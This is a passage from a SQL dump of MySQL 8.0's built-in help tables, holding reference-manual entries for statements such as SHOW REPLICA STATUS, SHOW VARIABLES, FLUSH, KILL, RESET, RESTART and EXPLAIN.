1. row ***************************\n Replica_IO_State: Waiting for source to send event\n Source_Host: 127.0.0.1\n Source_User: root\n Source_Port: 13000\n Connect_Retry: 1\n Source_Log_File: master-bin.000001\n Read_Source_Log_Pos: 927\n Relay_Log_File: slave-relay-bin.000002\n Relay_Log_Pos: 1145\n Relay_Source_Log_File: master-bin.000001\n Replica_IO_Running: Yes\n Replica_SQL_Running: Yes\n Replicate_Do_DB:\n Replicate_Ignore_DB:\n Replicate_Do_Table:\n Replicate_Ignore_Table:\n Replicate_Wild_Do_Table:\n Replicate_Wild_Ignore_Table:\n Last_Errno: 0\n Last_Error:\n Skip_Counter: 0\n Exec_Source_Log_Pos: 927\n Relay_Log_Space: 1355\n Until_Condition: None\n Until_Log_File:\n Until_Log_Pos: 0\n Source_SSL_Allowed: No\n Source_SSL_CA_File:\n Source_SSL_CA_Path:\n Source_SSL_Cert:\n Source_SSL_Cipher:\n Source_SSL_Key:\n Seconds_Behind_Source: 0\nSource_SSL_Verify_Server_Cert: No\n Last_IO_Errno: 0\n Last_IO_Error:\n Last_SQL_Errno: 0\n Last_SQL_Error:\n Replicate_Ignore_Server_Ids:\n Source_Server_Id: 1\n Source_UUID: 73f86016-978b-11ee-ade5-8d2a2a562feb\n Source_Info_File: mysql.slave_master_info\n SQL_Delay: 0\n SQL_Remaining_Delay: NULL\n Replica_SQL_Running_State: Replica has read all relay log; waiting for more updates\n Source_Retry_Count: 10\n Source_Bind:\n Last_IO_Error_Timestamp:\n Last_SQL_Error_Timestamp:\n Source_SSL_Crl:\n Source_SSL_Crlpath:\n Retrieved_Gtid_Set: 73f86016-978b-11ee-ade5-8d2a2a562feb:1-3\n Executed_Gtid_Set: 73f86016-978b-11ee-ade5-8d2a2a562feb:1-3\n Auto_Position: 1\n Replicate_Rewrite_DB:\n Channel_Name:\n Source_TLS_Version:\n Source_public_key_path:\n Get_Source_public_key: 0\n Network_Namespace:\n\nThe Performance Schema provides tables that expose replication\ninformation. This is similar to the information available from the SHOW\nREPLICA STATUS statement, but represented in table form. For details,\nsee\nhttps://dev.mysql.com/doc/refman/8.0/en/performance-schema-replication-\ntables.html.\n\nFrom MySQL 8.0.27, you can set the GTID_ONLY option on the CHANGE\nREPLICATION SOURCE TO statement to stop a replication channel from\npersisting file names and file positions in the replication metadata\nrepositories. With this setting, file positions for the source binary\nlog file and the relay log file are tracked in memory. The SHOW REPLICA\nSTATUS statement still displays file positions in normal use. However,\nbecause the file positions are not being regularly updated in the\nconnection metadata repository and the applier metadata repository\nexcept in a few situations, they are likely to be out of date if the\nserver is restarted.\n\nFor a replication channel with the GTID_ONLY setting after a server\nstart, the read and applied file positions for the source binary log\nfile (Read_Source_Log_Pos and Exec_Source_Log_Pos) are set to zero, and\nthe file names (Source_Log_File and Relay_Source_Log_File) are set to\nINVALID. The relay log file name (Relay_Log_File) is set according to\nthe relay_log_recovery setting, either a new file that was created at\nserver start or the first relay log file present. The file position\n(Relay_Log_Pos) is set to position 4, and GTID auto-skip is used to\nskip any transactions in the file that were already applied.\n\nWhen the receiver thread contacts the source and gets valid position\ninformation, the read position (Read_Source_Log_Pos) and file name\n(Source_Log_File) are updated with the correct data and become valid.\nWhen the applier thread applies a transaction from the source, or skips\nan already executed transaction, the executed position\n(Exec_Source_Log_Pos) and file name (Relay_Source_Log_File) are updated\nwith the correct data and become valid. The relay log file position\n(Relay_Log_Pos) is also updated at that time.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-replica-status.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-replica-status.html'),(683,'SHOW SLAVE STATUS',3,'Syntax:\nSHOW {SLAVE | REPLICA} STATUS [FOR CHANNEL channel]\n\nThis statement provides status information on essential parameters of\nthe replica threads. From MySQL 8.0.22, SHOW SLAVE STATUS is deprecated\nand the alias SHOW REPLICA STATUS should be used instead. The statement\nworks in the same way as before, only the terminology used for the\nstatement and its output has changed. Both versions of the statement\nupdate the same status variables when used. Please see the\ndocumentation for SHOW REPLICA STATUS for a description of the\nstatement.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-slave-status.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-slave-status.html'),(684,'SHOW STATUS',3,'Syntax:\nSHOW [GLOBAL | SESSION] STATUS\n [LIKE \'pattern\' | WHERE expr]\n\nSHOW STATUS provides server status information (see\nhttps://dev.mysql.com/doc/refman/8.0/en/server-status-variables.html).\nThis statement does not require any privilege. It requires only the\nability to connect to the server.\n\nStatus variable information is also available from these sources:\n\no Performance Schema tables. See\n https://dev.mysql.com/doc/refman/8.0/en/performance-schema-status-var\n iable-tables.html.\n\no The mysqladmin extended-status command. See\n https://dev.mysql.com/doc/refman/8.0/en/mysqladmin.html.\n\nFor SHOW STATUS, a LIKE clause, if present, indicates which variable\nnames to match. A WHERE clause can be given to select rows using more\ngeneral conditions, as discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/extended-show.html.\n\nSHOW STATUS accepts an optional GLOBAL or SESSION variable scope\nmodifier:\n\no With a GLOBAL modifier, the statement displays the global status\n values. A global status variable may represent status for some aspect\n of the server itself (for example, Aborted_connects), or the\n aggregated status over all connections to MySQL (for example,\n Bytes_received and Bytes_sent). If a variable has no global value,\n the session value is displayed.\n\no With a SESSION modifier, the statement displays the status variable\n values for the current connection. If a variable has no session\n value, the global value is displayed. LOCAL is a synonym for SESSION.\n\no If no modifier is present, the default is SESSION.\n\nThe scope for each status variable is listed at\nhttps://dev.mysql.com/doc/refman/8.0/en/server-status-variables.html.\n\nEach invocation of the SHOW STATUS statement uses an internal temporary\ntable and increments the global Created_tmp_tables value.\n\nWith a LIKE clause, the statement displays only rows for those\nvariables with names that match the pattern:\n\nmysql> SHOW STATUS LIKE \'Key%\';\n+--------------------+----------+\n| Variable_name | Value |\n+--------------------+----------+\n| Key_blocks_used | 14955 |\n| Key_read_requests | 96854827 |\n| Key_reads | 162040 |\n| Key_write_requests | 7589728 |\n| Key_writes | 3813196 |\n+--------------------+----------+\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-status.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-status.html'),(685,'SHOW TABLE STATUS',3,'Syntax:\nSHOW TABLE STATUS\n [{FROM | IN} db_name]\n [LIKE \'pattern\' | WHERE expr]\n\nSHOW TABLE STATUS works likes SHOW TABLES, but provides a lot of\ninformation about each non-TEMPORARY table. You can also get this list\nusing the mysqlshow --status db_name command. The LIKE clause, if\npresent, indicates which table names to match. The WHERE clause can be\ngiven to select rows using more general conditions, as discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/extended-show.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-table-status.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-table-status.html'),(686,'SHOW TABLES',3,'Syntax:\nSHOW [EXTENDED] [FULL] TABLES\n [{FROM | IN} db_name]\n [LIKE \'pattern\' | WHERE expr]\n\nSHOW TABLES lists the non-TEMPORARY tables in a given database. You can\nalso get this list using the mysqlshow db_name command. The LIKE\nclause, if present, indicates which table names to match. The WHERE\nclause can be given to select rows using more general conditions, as\ndiscussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/extended-show.html.\n\nMatching performed by the LIKE clause is dependent on the setting of\nthe lower_case_table_names system variable.\n\nThe optional EXTENDED modifier causes SHOW TABLES to list hidden tables\ncreated by failed ALTER TABLE statements. These temporary tables have\nnames beginning with #sql and can be dropped using DROP TABLE.\n\nThis statement also lists any views in the database. The optional FULL\nmodifier causes SHOW TABLES to display a second output column with\nvalues of BASE TABLE for a table, VIEW for a view, or SYSTEM VIEW for\nan INFORMATION_SCHEMA table.\n\nIf you have no privileges for a base table or view, it does not show up\nin the output from SHOW TABLES or mysqlshow db_name.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-tables.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-tables.html'),(687,'SHOW TRIGGERS',3,'Syntax:\nSHOW TRIGGERS\n [{FROM | IN} db_name]\n [LIKE \'pattern\' | WHERE expr]\n\nSHOW TRIGGERS lists the triggers currently defined for tables in a\ndatabase (the default database unless a FROM clause is given). This\nstatement returns results only for databases and tables for which you\nhave the TRIGGER privilege. The LIKE clause, if present, indicates\nwhich table names (not trigger names) to match and causes the statement\nto display triggers for those tables. The WHERE clause can be given to\nselect rows using more general conditions, as discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/extended-show.html.\n\nFor the ins_sum trigger defined in\nhttps://dev.mysql.com/doc/refman/8.0/en/triggers.html, the output of\nSHOW TRIGGERS is as shown here:\n\nmysql> SHOW TRIGGERS LIKE \'acc%\'\\G\n*************************** 1. row ***************************\n Trigger: ins_sum\n Event: INSERT\n Table: account\n Statement: SET @sum = @sum + NEW.amount\n Timing: BEFORE\n Created: 2018-08-08 10:10:12.61\n sql_mode: ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,\n NO_ZERO_IN_DATE,NO_ZERO_DATE,\n ERROR_FOR_DIVISION_BY_ZERO,\n NO_ENGINE_SUBSTITUTION\n Definer: me@localhost\ncharacter_set_client: utf8mb4\ncollation_connection: utf8mb4_0900_ai_ci\n Database Collation: utf8mb4_0900_ai_ci\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-triggers.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-triggers.html'),(688,'SHOW VARIABLES',3,'Syntax:\nSHOW [GLOBAL | SESSION] VARIABLES\n [LIKE \'pattern\' | WHERE expr]\n\nSHOW VARIABLES shows the values of MySQL system variables (see\nhttps://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html).\nThis statement does not require any privilege. It requires only the\nability to connect to the server.\n\nSystem variable information is also available from these sources:\n\no Performance Schema tables. See\n https://dev.mysql.com/doc/refman/8.0/en/performance-schema-system-var\n iable-tables.html.\n\no The mysqladmin variables command. See\n https://dev.mysql.com/doc/refman/8.0/en/mysqladmin.html.\n\nFor SHOW VARIABLES, a LIKE clause, if present, indicates which variable\nnames to match. A WHERE clause can be given to select rows using more\ngeneral conditions, as discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/extended-show.html.\n\nSHOW VARIABLES accepts an optional GLOBAL or SESSION variable scope\nmodifier:\n\no With a GLOBAL modifier, the statement displays global system variable\n values. These are the values used to initialize the corresponding\n session variables for new connections to MySQL. If a variable has no\n global value, no value is displayed.\n\no With a SESSION modifier, the statement displays the system variable\n values that are in effect for the current connection. If a variable\n has no session value, the global value is displayed. LOCAL is a\n synonym for SESSION.\n\no If no modifier is present, the default is SESSION.\n\nThe scope for each system variable is listed at\nhttps://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html.\n\nSHOW VARIABLES is subject to a version-dependent display-width limit.\nFor variables with very long values that are not completely displayed,\nuse SELECT as a workaround. For example:\n\nSELECT @@GLOBAL.innodb_data_file_path;\n\nMost system variables can be set at server startup (read-only variables\nsuch as version_comment are exceptions). Many can be changed at runtime\nwith the SET statement. See\nhttps://dev.mysql.com/doc/refman/8.0/en/using-system-variables.html,\nand [HELP SET].\n\nWith a LIKE clause, the statement displays only rows for those\nvariables with names that match the pattern. To obtain the row for a\nspecific variable, use a LIKE clause as shown:\n\nSHOW VARIABLES LIKE \'max_join_size\';\nSHOW SESSION VARIABLES LIKE \'max_join_size\';\n\nTo get a list of variables whose name match a pattern, use the %\nwildcard character in a LIKE clause:\n\nSHOW VARIABLES LIKE \'%size%\';\nSHOW GLOBAL VARIABLES LIKE \'%size%\';\n\nWildcard characters can be used in any position within the pattern to\nbe matched. Strictly speaking, because _ is a wildcard that matches any\nsingle character, you should escape it as \\_ to match it literally. In\npractice, this is rarely necessary.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-variables.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-variables.html'),(689,'SHOW WARNINGS',3,'Syntax:\nSHOW WARNINGS [LIMIT [offset,] row_count]\nSHOW COUNT(*) WARNINGS\n\nSHOW WARNINGS is a diagnostic statement that displays information about\nthe conditions (errors, warnings, and notes) resulting from executing a\nstatement in the current session. Warnings are generated for DML\nstatements such as INSERT, UPDATE, and LOAD DATA as well as DDL\nstatements such as CREATE TABLE and ALTER TABLE.\n\nThe LIMIT clause has the same syntax as for the SELECT statement. See\nhttps://dev.mysql.com/doc/refman/8.0/en/select.html.\n\nSHOW WARNINGS is also used following EXPLAIN, to display the extended\ninformation generated by EXPLAIN. See\nhttps://dev.mysql.com/doc/refman/8.0/en/explain-extended.html.\n\nSHOW WARNINGS displays information about the conditions resulting from\nexecution of the most recent nondiagnostic statement in the current\nsession. If the most recent statement resulted in an error during\nparsing, SHOW WARNINGS shows the resulting conditions, regardless of\nstatement type (diagnostic or nondiagnostic).\n\nThe SHOW COUNT(*) WARNINGS diagnostic statement displays the total\nnumber of errors, warnings, and notes. You can also retrieve this\nnumber from the warning_count system variable:\n\nSHOW COUNT(*) WARNINGS;\nSELECT @@warning_count;\n\nA difference in these statements is that the first is a diagnostic\nstatement that does not clear the message list. The second, because it\nis a SELECT statement is considered nondiagnostic and does clear the\nmessage list.\n\nA related diagnostic statement, SHOW ERRORS, shows only error\nconditions (it excludes warnings and notes), and SHOW COUNT(*) ERRORS\nstatement displays the total number of errors. See [HELP SHOW ERRORS].\nGET DIAGNOSTICS can be used to examine information for individual\nconditions. See [HELP GET DIAGNOSTICS].\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-warnings.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-warnings.html'),(690,'BINLOG',3,'Syntax:\nBINLOG \'str\'\n\nBINLOG is an internal-use statement. It is generated by the mysqlbinlog\nprogram as the printable representation of certain events in binary log\nfiles. (See https://dev.mysql.com/doc/refman/8.0/en/mysqlbinlog.html.)\nThe \'str\' value is a base 64-encoded string the that server decodes to\ndetermine the data change indicated by the corresponding event.\n\nTo execute BINLOG statements when applying mysqlbinlog output, a user\naccount requires the BINLOG_ADMIN privilege (or the deprecated SUPER\nprivilege), or the REPLICATION_APPLIER privilege plus the appropriate\nprivileges to execute each log event.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/binlog.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/binlog.html'),(691,'CACHE INDEX',3,'Syntax:\nCACHE INDEX {\n tbl_index_list [, tbl_index_list] ...\n | tbl_name PARTITION (partition_list)\n }\n IN key_cache_name\n\ntbl_index_list:\n tbl_name [{INDEX|KEY} (index_name[, index_name] ...)]\n\npartition_list: {\n partition_name[, partition_name] ...\n | ALL\n}\n\nThe CACHE INDEX statement assigns table indexes to a specific key\ncache. It applies only to MyISAM tables, including partitioned MyISAM\ntables. After the indexes have been assigned, they can be preloaded\ninto the cache if desired with LOAD INDEX INTO CACHE.\n\nThe following statement assigns indexes from the tables t1, t2, and t3\nto the key cache named hot_cache:\n\nmysql> CACHE INDEX t1, t2, t3 IN hot_cache;\n+---------+--------------------+----------+----------+\n| Table | Op | Msg_type | Msg_text |\n+---------+--------------------+----------+----------+\n| test.t1 | assign_to_keycache | status | OK |\n| test.t2 | assign_to_keycache | status | OK |\n| test.t3 | assign_to_keycache | status | OK |\n+---------+--------------------+----------+----------+\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/cache-index.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/cache-index.html'),(692,'FLUSH',3,'Syntax:\nFLUSH [NO_WRITE_TO_BINLOG | LOCAL] {\n flush_option [, flush_option] ...\n | tables_option\n}\n\nflush_option: {\n BINARY LOGS\n | ENGINE LOGS\n | ERROR LOGS\n | GENERAL LOGS\n | HOSTS\n | LOGS\n | PRIVILEGES\n | OPTIMIZER_COSTS\n | RELAY LOGS [FOR CHANNEL channel]\n | SLOW LOGS\n | STATUS\n | USER_RESOURCES\n}\n\ntables_option: {\n table_synonym\n | table_synonym tbl_name [, tbl_name] ...\n | table_synonym WITH READ LOCK\n | table_synonym tbl_name [, tbl_name] ... WITH READ LOCK\n | table_synonym tbl_name [, tbl_name] ... FOR EXPORT\n}\n\ntable_synonym: {\n TABLE\n | TABLES\n}\n\nThe FLUSH statement has several variant forms that clear or reload\nvarious internal caches, flush tables, or acquire locks. Each FLUSH\noperation requires the privileges indicated in its description.\n\n*Note*:\n\nIt is not possible to issue FLUSH statements within stored functions or\ntriggers. However, you may use FLUSH in stored procedures, so long as\nthese are not called from stored functions or triggers. See\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-program-restrictions.html\n.\n\nBy default, the server writes FLUSH statements to the binary log so\nthat they replicate to replicas. To suppress logging, specify the\noptional NO_WRITE_TO_BINLOG keyword or its alias LOCAL.\n\n*Note*:\n\nFLUSH LOGS, FLUSH BINARY LOGS, FLUSH TABLES WITH READ LOCK (with or\nwithout a table list), and FLUSH TABLES tbl_name ... FOR EXPORT are not\nwritten to the binary log in any case because they would cause problems\nif replicated to a replica.\n\nThe FLUSH statement causes an implicit commit. See\nhttps://dev.mysql.com/doc/refman/8.0/en/implicit-commit.html.\n\nThe mysqladmin utility provides a command-line interface to some flush\noperations, using commands such as flush-hosts, flush-logs,\nflush-privileges, flush-status, and flush-tables. See\nhttps://dev.mysql.com/doc/refman/8.0/en/mysqladmin.html.\n\nSending a SIGHUP or SIGUSR1 signal to the server causes several flush\noperations to occur that are similar to various forms of the FLUSH\nstatement. Signals can be sent by the root system account or the system\naccount that owns the server process. This enables the flush operations\nto be performed without having to connect to the server, which requires\na MySQL account that has privileges sufficient for those operations.\nSee https://dev.mysql.com/doc/refman/8.0/en/unix-signal-response.html.\n\nThe RESET statement is similar to FLUSH. See [HELP RESET], for\ninformation about using RESET with replication.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/flush.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/flush.html'),(693,'KILL',3,'Syntax:\nKILL [CONNECTION | QUERY] processlist_id\n\nEach connection to mysqld runs in a separate thread. You can kill a\nthread with the KILL processlist_id statement.\n\nThread processlist identifiers can be determined from the ID column of\nthe INFORMATION_SCHEMA PROCESSLIST table, the Id column of SHOW\nPROCESSLIST output, and the PROCESSLIST_ID column of the Performance\nSchema threads table. The value for the current thread is returned by\nthe CONNECTION_ID() function.\n\nKILL permits an optional CONNECTION or QUERY modifier:\n\no KILL CONNECTION is the same as KILL with no modifier: It terminates\n the connection associated with the given processlist_id, after\n terminating any statement the connection is executing.\n\no KILL QUERY terminates the statement the connection is currently\n executing, but leaves the connection itself intact.\n\nThe ability to see which threads are available to be killed depends on\nthe PROCESS privilege:\n\no Without PROCESS, you can see only your own threads.\n\no With PROCESS, you can see all threads.\n\nThe ability to kill threads and statements depends on the\nCONNECTION_ADMIN privilege and the deprecated SUPER privilege:\n\no Without CONNECTION_ADMIN or SUPER, you can kill only your own threads\n and statements.\n\no With CONNECTION_ADMIN or SUPER, you can kill all threads and\n statements, except that to affect a thread or statement that is\n executing with the SYSTEM_USER privilege, your own session must\n additionally have the SYSTEM_USER privilege.\n\nYou can also use the mysqladmin processlist and mysqladmin kill\ncommands to examine and kill threads.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/kill.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/kill.html'),(694,'LOAD INDEX',3,'Syntax:\nLOAD INDEX INTO CACHE\n tbl_index_list [, tbl_index_list] ...\n\ntbl_index_list:\n tbl_name\n [PARTITION (partition_list)]\n [{INDEX|KEY} (index_name[, index_name] ...)]\n [IGNORE LEAVES]\n\npartition_list: {\n partition_name[, partition_name] ...\n | ALL\n}\n\nThe LOAD INDEX INTO CACHE statement preloads a table index into the key\ncache to which it has been assigned by an explicit CACHE INDEX\nstatement, or into the default key cache otherwise.\n\nLOAD INDEX INTO CACHE applies only to MyISAM tables, including\npartitioned MyISAM tables. In addition, indexes on partitioned tables\ncan be preloaded for one, several, or all partitions.\n\nThe IGNORE LEAVES modifier causes only blocks for the nonleaf nodes of\nthe index to be preloaded.\n\nIGNORE LEAVES is also supported for partitioned MyISAM tables.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/load-index.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/load-index.html'),(695,'RESET',3,'Syntax:\nRESET reset_option [, reset_option] ...\n\nreset_option: {\n MASTER\n | REPLICA\n | SLAVE\n}\n\nThe RESET statement is used to clear the state of various server\noperations. You must have the RELOAD privilege to execute RESET.\n\nFor information about the RESET PERSIST statement that removes\npersisted global system variables, see [HELP RESET PERSIST].\n\nRESET acts as a stronger version of the FLUSH statement. See [HELP\nFLUSH].\n\nThe RESET statement causes an implicit commit. See\nhttps://dev.mysql.com/doc/refman/8.0/en/implicit-commit.html.\n\nThe following list describes the permitted RESET statement reset_option\nvalues:\n\no RESET MASTER\n\n Deletes all binary logs listed in the index file, resets the binary\n log index file to be empty, and creates a new binary log file.\n\no RESET REPLICA\n\n Makes the replica forget its replication position in the source\n binary logs. Also resets the relay log by deleting any existing relay\n log files and beginning a new one. Use RESET REPLICA in place of\n RESET SLAVE from MySQL 8.0.22.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/reset.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/reset.html'),(696,'RESET PERSIST',3,'Syntax:\nRESET PERSIST [[IF EXISTS] system_var_name]\n\nRESET PERSIST removes persisted global system variable settings from\nthe mysqld-auto.cnf option file in the data directory. Removing a\npersisted system variable causes the variable no longer to be\ninitialized from mysqld-auto.cnf at server startup. For more\ninformation about persisting system variables and the mysqld-auto.cnf\nfile, see\nhttps://dev.mysql.com/doc/refman/8.0/en/persisted-system-variables.html\n.\n\nPrior to MySQL 8.0.32, this statement did not work with variables whose\nname contained a dot character (.), such as MyISAM multiple key cache\nvariables and variables registered by components. (Bug #33417357)\n\nThe privileges required for RESET PERSIST depend on the type of system\nvariable to be removed:\n\no For dynamic system variables, this statement requires the\n SYSTEM_VARIABLES_ADMIN privilege (or the deprecated SUPER privilege).\n\no For read-only system variables, this statement requires the\n SYSTEM_VARIABLES_ADMIN and PERSIST_RO_VARIABLES_ADMIN privileges.\n\nSee\nhttps://dev.mysql.com/doc/refman/8.0/en/system-variable-privileges.html\n.\n\nDepending on whether the variable name and IF EXISTS clauses are\npresent, the RESET PERSIST statement has these forms:\n\no To remove all persisted variables from mysqld-auto.cnf, use RESET\n PERSIST without naming any system variable:\n\nRESET PERSIST;\n\n You must have privileges for removing both dynamic and read-only\n system variables if mysqld-auto.cnf contains both kinds of variables.\n\no To remove a specific persisted variable from mysqld-auto.cnf, name it\n in the statement:\n\nRESET PERSIST system_var_name;\n\n This includes plugin system variables, even if the plugin is not\n currently installed. If the variable is not present in the file, an\n error occurs.\n\no To remove a specific persisted variable from mysqld-auto.cnf, but\n produce a warning rather than an error if the variable is not present\n in the file, add an IF EXISTS clause to the previous syntax:\n\nRESET PERSIST IF EXISTS system_var_name;\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/reset-persist.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/reset-persist.html'),(697,'RESTART',3,'Syntax:\nRESTART\n\nThis statement stops and restarts the MySQL server. It requires the\nSHUTDOWN privilege.\n\nOne use for RESTART is when it is not possible or convenient to gain\ncommand-line access to the MySQL server on the server host to restart\nit. For example, SET PERSIST_ONLY can be used at runtime to make\nconfiguration changes to system variables that can be set only at\nserver startup, but the server must still be restarted for those\nchanges to take effect. The RESTART statement provides a way to do so\nfrom within client sessions, without requiring command-line access on\nthe server host.\n\n*Note*:\n\nAfter executing a RESTART statement, the client can expect the current\nconnection to be lost. If auto-reconnect is enabled, the connection is\nreestablished after the server restarts. Otherwise, the connection must\nbe reestablished manually.\n\nA successful RESTART operation requires mysqld to be running in an\nenvironment that has a monitoring process available to detect a server\nshutdown performed for restart purposes:\n\no In the presence of a monitoring process, RESTART causes mysqld to\n terminate such that the monitoring process can determine that it\n should start a new mysqld instance.\n\no If no monitoring process is present, RESTART fails with an error.\n\nThese platforms provide the necessary monitoring support for the\nRESTART statement:\n\no Windows, when mysqld is started as a Windows service or standalone.\n (mysqld forks, and one process acts as a monitor to the other, which\n acts as the server.)\n\no Unix and Unix-like systems that use systemd or mysqld_safe to manage\n mysqld.\n\nTo configure a monitoring environment such that mysqld enables the\nRESTART statement:\n\n1. Set the MYSQLD_PARENT_PID environment variable to the value of the\n process ID of the process that starts mysqld, before starting\n mysqld.\n\n2. When mysqld performs a shutdown due to use of the RESTART statement,\n it returns exit code 16.\n\n3. When the monitoring process detects an exit code of 16, it starts\n mysqld again. Otherwise, it exits.\n\nHere is a minimal example as implemented in the bash shell:\n\n#!/bin/bash\n\nexport MYSQLD_PARENT_PID=$$\n\nexport MYSQLD_RESTART_EXIT=16\n\nwhile true ; do\n bin/mysqld mysqld options here\n if [ $? -ne $MYSQLD_RESTART_EXIT ]; then\n break\n fi\ndone\n\nOn Windows, the forking used to implement RESTART makes determining the\nserver process to attach to for debugging more difficult. To alleviate\nthis, starting the server with --gdb suppresses forking, in addition to\nits other actions done to set up a debugging environment. In non-debug\nsettings, --no-monitor may be used for the sole purpose of suppressing\nforking the monitor process. For a server started with either --gdb or\n--no-monitor, executing RESTART causes the server to simply exit\nwithout restarting.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/restart.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/restart.html'),(698,'SHUTDOWN',3,'Syntax:\nSHUTDOWN\n\nThis statement stops the MySQL server. It requires the SHUTDOWN\nprivilege.\n\nSHUTDOWN provides an SQL-level interface to the same functionality\navailable using the mysqladmin shutdown command or the mysql_shutdown()\n(https://dev.mysql.com/doc/c-api/8.0/en/mysql-shutdown.html) C API\nfunction. A successful SHUTDOWN sequence consists of checking the\nprivileges, validating the arguments, and sending an OK packet to the\nclient. Then the server is shut down.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/shutdown.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/shutdown.html'),(699,'EXPLAIN',51,'Syntax:\n{EXPLAIN | DESCRIBE | DESC}\n tbl_name [col_name | wild]\n\n{EXPLAIN | DESCRIBE | DESC}\n [explain_type]\n {explainable_stmt | FOR CONNECTION connection_id}\n\n{EXPLAIN | DESCRIBE | DESC} ANALYZE [FORMAT = TREE] select_statement\n\nexplain_type: {\n FORMAT = format_name\n}\n\nformat_name: {\n TRADITIONAL\n | JSON\n | TREE\n}\n\nexplainable_stmt: {\n SELECT statement\n | TABLE statement\n | DELETE statement\n | INSERT statement\n | REPLACE statement\n | UPDATE statement\n}\n\nThe DESCRIBE and EXPLAIN statements are synonyms. In practice, the\nDESCRIBE keyword is more often used to obtain information about table\nstructure, whereas EXPLAIN is used to obtain a query execution plan\n(that is, an explanation of how MySQL would execute a query).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/explain.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/explain.html'),(700,'DESCRIBE',51,'Syntax:\n{EXPLAIN | DESCRIBE | DESC}\n tbl_name [col_name | wild]\n\n{EXPLAIN | DESCRIBE | DESC}\n [explain_type]\n {explainable_stmt | FOR CONNECTION connection_id}\n\n{EXPLAIN | DESCRIBE | DESC} ANALYZE [FORMAT = TREE] select_statement\n\nexplain_type: {\n FORMAT = format_name\n}\n\nformat_name: {\n TRADITIONAL\n | JSON\n | TREE\n}\n\nexplainable_stmt: {\n SELECT statement\n | TABLE statement\n | DELETE statement\n | INSERT statement\n | REPLACE statement\n | UPDATE statement\n}\n\nThe DESCRIBE and EXPLAIN statements are synonyms. In practice, the\nDESCRIBE keyword is more often used to obtain information about table\nstructure, whereas EXPLAIN is used to obtain a query execution plan\n(that is, an explanation of how MySQL would execute a query).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/explain.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/explain.html'),(701,'DESC',51,'Syntax:\n{EXPLAIN | DESCRIBE | DESC}\n tbl_name [col_name | wild]\n\n{EXPLAIN | DESCRIBE | DESC}\n [explain_type]\n {explainable_stmt | FOR CONNECTION connection_id}\n\n{EXPLAIN | DESCRIBE | DESC} ANALYZE [FORMAT = TREE] select_statement\n\nexplain_type: {\n FORMAT = format_name\n}\n\nformat_name: {\n TRADITIONAL\n | JSON\n | TREE\n}\n\nexplainable_stmt: {\n SELECT statement\n | TABLE statement\n | DELETE statement\n | INSERT statement\n | REPLACE statement\n | UPDATE statement\n}\n\nThe DESCRIBE and EXPLAIN statements are synonyms. In practice, the\nDESCRIBE keyword is more often used to obtain information about table\nstructure, whereas EXPLAIN is used to obtain a query execution plan\n(that is, an explanation of how MySQL would execute a query).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/explain.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/explain.html'),(702,'HELP STATEMENT',51,'Syntax:\nHELP \'search_string\'\n\nThe HELP statement returns online information from the MySQL Reference\nManual. Its proper operation requires that the help tables in the mysql\ndatabase be initialized with help topic information (see\nhttps://dev.mysql.com/doc/refman/8.0/en/server-side-help-support.html).\n\nThe HELP statement searches the help tables for the given search string\nand displays the result of the search. The search string is not\ncase-sensitive.\n\nThe search string can contain the wildcard characters % and _. These\nhave the same meaning as for pattern-matching operations performed with\nthe LIKE operator. For example, HELP \'rep%\' returns a list of topics\nthat begin with rep.\n\nThe HELP statement does not require a terminator such as ; or \\G.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/help.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/help.html'),(703,'USE',51,'Syntax:\nUSE db_name\n\nThe USE statement tells MySQL to use the named database as the default\n(current) database for subsequent statements. This statement requires\nsome privilege for the database or some object within it.\n\nThe named database remains the default until the end of the session or\nanother USE statement is issued:\n\nUSE db1;\nSELECT COUNT(*) FROM mytable; # selects from db1.mytable\nUSE db2;\nSELECT COUNT(*) FROM mytable; # selects from db2.mytable\n\nThe database name must be specified on 